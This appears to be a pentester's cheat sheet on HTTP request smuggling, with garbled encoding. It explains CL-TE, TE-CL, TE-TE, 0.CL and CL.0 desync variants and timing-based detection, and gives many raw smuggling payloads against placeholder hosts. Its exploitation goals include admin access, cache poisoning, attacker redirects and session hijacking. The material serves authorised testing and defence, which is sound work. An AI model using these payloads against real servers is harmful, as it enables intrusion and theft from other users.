Smuggling happens when:
- Frontend (proxy/load balancer) and
- Backend (app server)
disagree on request boundaries
Main headers involved:
Content-LengthTransfer-Encoding: chunked
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
G
- Frontend reads 13 bytes
- Backend sees chunked β stops at
0 - Extra
Gbecomes next request prefix
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
- Delayed response
- 400/502 inconsistencies
- Next user request behaves weirdly
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 50
0
GET /admin HTTP/1.1
Host: target.com
- Frontend stops at
0 - Backend uses
Content-Length: 50 - Reads extra data β smuggled request
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 4
0
X
Then next request gets prefixed with X
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: Chunked
Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: identity
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
5
Hello
0
GET /admin HTTP/1.1
Host: target.com
POST / HTTP/1.1
Host: target.com
Content-Length: 20
Transfer-Encoding: chunked
0
POST /malicious HTTP/1.1
Host: target.com
GET / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
X-Ignore: X
POST / HTTP/1.1
Host: target.com
Content-Length: 40
Transfer-Encoding: chunked
0
GET / HTTP/1.1
Host: target.com
X-Injected: yes
- Burp Repeater (disable auto-update Content-Length)
- HTTP/1.1 (NOT HTTP/2 unless testing downgrades)
| Behavior | Meaning |
|---|---|
| Timeout | Possible desync |
| 502/400 mismatch | Parsing difference |
| Strange responses | Smuggling likely |
| Next request affected | Confirmed |
Try variations:
-
Transfer-Encoding: chunked, identity -
Duplicate headers
-
Mixed casing
-
Extra spaces
-
HTTP/1.0 downgrade
-
Chunk extensions:
5;test=1 Hello
-
Start with CL-TE
-
Move to TE-CL
-
Try TE-TE obfuscations
-
Confirm using:
- Prefix injection
- Response desync
- Cache poisoning
Goal: Determine whether FE/BE use:
Content-Length (CL)Transfer-Encoding (TE)
| Behavior | Meaning |
|---|---|
| Immediate 400 | Parser rejected input |
| Timeout / hang | Waiting for more bytes |
| Normal response | That parser ignored ambiguity |
GET / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 6
3\r\n
abc\r\n
X\r\n
- β 400 Bad Request β FE is parsing chunked (TE)
- β No error / forwarded β FE likely ignores TE β uses CL
POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Z
- β 400 β FE parses TE
- β Forwarded β FE ignores TE
POST / HTTP/1.1
Host: example.com
Content-Length: 10
abc
- β³ Timeout β FE waiting β uses CL
- β‘ Immediate response β ignores CL
GET / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 6
0\r\n
\r\n
X\r\n
- β³ Timeout β BE is waiting β uses CL
- β‘ Immediate response β BE uses TE
POST / HTTP/1.1
Host: example.com
Content-Length: 20
Transfer-Encoding: chunked
0
- β‘ Immediate response β BE respects TE
- β³ Timeout β BE using CL
POST / HTTP/1.1
Host: example.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
| Behavior | Meaning |
|---|---|
| Timeout | FE=CL, BE=TE β CL-TE vulnerable |
| Normal | Not vulnerable |
POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
| Behavior | Meaning |
|---|---|
| Timeout | FE=TE, BE=CL β TE-CL vulnerable |
| Normal | Not vulnerable |
POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Transfer-Encoding: identity
0
- Different responses / inconsistencies β TE-TE issue
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: cow
POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
5
abcde
0
X
- If
Xaffects next request β desync confirmed
POST / HTTP/1.1
Host: example.com
Content-Length: 20
Transfer-Encoding: chunked
0
G
Then send:
GET / HTTP/1.1
Host: example.com
Send smuggled request:
GET /admin HTTP/1.1
Host: example.com
Then normal user request:
GET / HTTP/1.1
Host: example.com
- Invalid chunk β 400? β FE = TE
- Otherwise β FE = CL
- Truncated chunk β timeout? β BE = CL
- Otherwise β BE = TE
- CL-TE β timeout
- TE-CL β timeout
-
Always use:
Connection: keep-alive
-
Disable auto Content-Length fixes in Burp
-
Test multiple times (CDNs behave inconsistently)
-
HTTP/2 β test downgrade scenarios
Your example works because:
FE stops early β BE waits β desync gap created
That gap is the entire exploit surface
| Variant | Front-End Behavior | Back-End Behavior |
|---|---|---|
| 0.CL | Ignores Content-Length (treats body as 0) | Uses Content-Length |
| CL.0 | Uses Content-Length | Ignores Content-Length (treats body as 0) |
Front-end assumes no body β forwards request immediately Back-end waits for body β consumes next request as body
POST / HTTP/1.1
Host: victim.com
Content-Length: 10
- Front-end forwards immediately
- Back-end waits for 10 bytes
- Connection hangs / timeout
POST / HTTP/1.1
Host: victim.com
Content-Length: 20
GET /404 HTTP/1.1
X: X
- Back-end consumes part of next request as body
- Response anomalies (400 / redirect / unexpected output)
POST / HTTP/1.1
Host: victim.com
Content-Length: 15
GET /target HTTP/1.1
Host: victim.com
POST / HTTP/1.1
Content-Length: 15
GET /target HT
Remaining becomes malformed request β desync achieved
-
Chain with second desync (0.CL β CL.0)
-
Convert into request prefix injection
-
Use for:
- Open redirect
- Cache poisoning
- Credential theft
Front-end respects Content-Length Back-end ignores it β treats body as new request
POST / HTTP/1.1
Host: victim.com
Content-Length: 20
GET /404 HTTP/1.1
Host: victim.com
-
Front-end sends full request
-
Back-end splits:
- First request: POST /
- Second request: GET /404
POST / HTTP/1.1
Host: victim.com
Content-Length: 40
GET /admin HTTP/1.1
Host: victim.com
/adminaccessed without direct request- Confirms request splitting at backend
POST / HTTP/1.1
Host: victim.com
Content-Length: 60
GET /malicious HTTP/1.1
Host: victim.com
X: X
-
Back-end processes:
- POST /
- GET /malicious
POST / HTTP/1.1
Host: victim.com
Content-Length: 80
GET /redirect HTTP/1.1
Host: victim.com
Location: https://attacker.com
Victim request becomes appended β redirect triggered
- Send partial body requests
- Observe timeouts
- Compare front-end vs back-end responses
-
Inject secondary request inside body
-
Look for:
- Unexpected responses
- Redirects
- Status code anomalies
- Align payload boundaries
- Target victim-triggered endpoints
- Use prefix injection for control
- Random 400 / 404 responses
- Timeouts / hanging requests
- Unexpected redirects
- Partial responses
- Cache inconsistencies
-
0.CL alone often causes deadlock
-
CL.0 is easier to exploit directly
-
Combining both leads to powerful desync chains
-
server-level redirects, requests for static files, server errors are prime candidates
-
Goal is always:
Control how the backend parses request boundaries
- Use tools like Burp Repeater with manual control
- Send requests over single connection (keep-alive)
- Use padding to align exact byte lengths
- Target predictable endpoints (/resources, /static, etc.)
POST / HTTP/1.1
Host: victim.com
Content-Length: 10
POST / HTTP/1.1
Host: victim.com
Content-Length: 30
GET / HTTP/1.1
Host: victim.com
Convert desync into:
- Request prefix injection
- Response queue poisoning
- Credential/session hijacking